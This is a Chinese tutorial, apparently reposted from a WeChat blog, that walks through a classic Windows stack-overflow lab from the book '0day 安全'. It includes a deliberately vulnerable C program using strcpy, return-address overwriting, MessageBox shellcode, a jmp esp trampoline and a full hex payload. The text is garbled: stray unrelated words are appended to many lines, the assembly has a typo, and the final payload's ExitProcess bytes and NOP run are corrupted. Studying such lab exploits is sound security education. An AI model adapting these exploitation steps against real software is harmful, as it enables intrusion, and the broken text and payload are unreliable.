Win下棧溢出示例


例子來自《0day 安全:軟件漏洞分析技術》css


棧溢出

程序會讀取目錄下的 password.txt 而後複製到 buffer 中,然而 buffer 只有 8 字節,password 是 1024 字節的web

 
  
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[8];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

password.txt 的內容:shell



提早用 IDA 看到 verify_password 函數的地址是 0x401020windows



在 OD 中給 verify_password 返回的時候下個斷點,這樣能夠恰好在棧溢出發生以前給斷下來安全



那,修改 password.txt,把返回地址改爲 Congratulation 那個分支的地址的話是能夠成功的微信



接下來試着用它彈一個窗,要對源碼作一下改變以便可以調用 Messagebox 函數,所以導入了 user32.dll編輯器

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

使用 Dependency walker 查看一下 user32.dll 的基址 0x77d10000 與 messagebox 的偏移 0x407ea函數

加起來就是 0x77D507EAui



編寫 shellcode

找到了地址以後就能夠構造 shellcode 了url


機器碼

彙編指令

註釋

33DB

XOR EBX,EBX

異或置零

53

PUSH EBX

做爲字符串結束的截斷符號 0

684841434B

PUSH 4B434148

把 'HACK' 字符串進棧

8BC4

MOV EAX,ESP

字符串指針,方便後面 push 進去

53

PUSH EBX

第四個參數 0

50

PUSH EAX

第三個參數 標題

50

PUSH EAX

第二個參數 內容

53

PUSH EBX

第一個參數 0

B8EA07D577

MOV EAX, 77D507EA

把 Messagebox 的函數地址放到 EAX

FFD0

CALL EAX

調用 Messagebox

33DB53684841434B8BC453505053B8EA07D577FFD0

而後能夠填入一堆 90(也就是 NOP)

最後在 ret 的那個地方填入 0012FAF0(也就是棧頂),最終是這樣的




jmp esp

直接填入棧頂是須要咱們本身去找棧頂的地址的,能夠用 jmp esp 讓他本身跳轉到 esp 去執行 shellcode

能夠用 OllyUni.dll 這個插件

https://bbs.pediy.com/thread-65240.htm


(OD 插件有上限,若是放進去以後 OD 打不開了能夠先拿出幾個插件來)




先用 0x7FFA4512 試試,,使用 jmp esp 的原理是在 ret 的時候是 pop eip 的,esp 會 +4,指向返回地址下面,因此只要返回地址後面跟着 shellcode 就好了,咱們還但願他可以正常的退出,給它加上一個 ExitProcess 函數


用 Dependency walker 去 kernel32(0x7c800000)找一下 ExitProcess(0x00001cafa)獲得退出函數地址 0x7C81CAFA


機器碼

彙編

註釋

53

PUSH BEX

exit (0),這個是參數 0

B8FACA817C

MOV EAX,0x7C81CAFA

地址放到 eax

FFD0

CALL EAX

調用函數

909090909090909090909090909090909090909090909090909090909090909090909090909090909099909090909090909090901245FA7F33DB53684841434B8BC453505053B8EA07D577FFD035334238464143413831374346464430


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索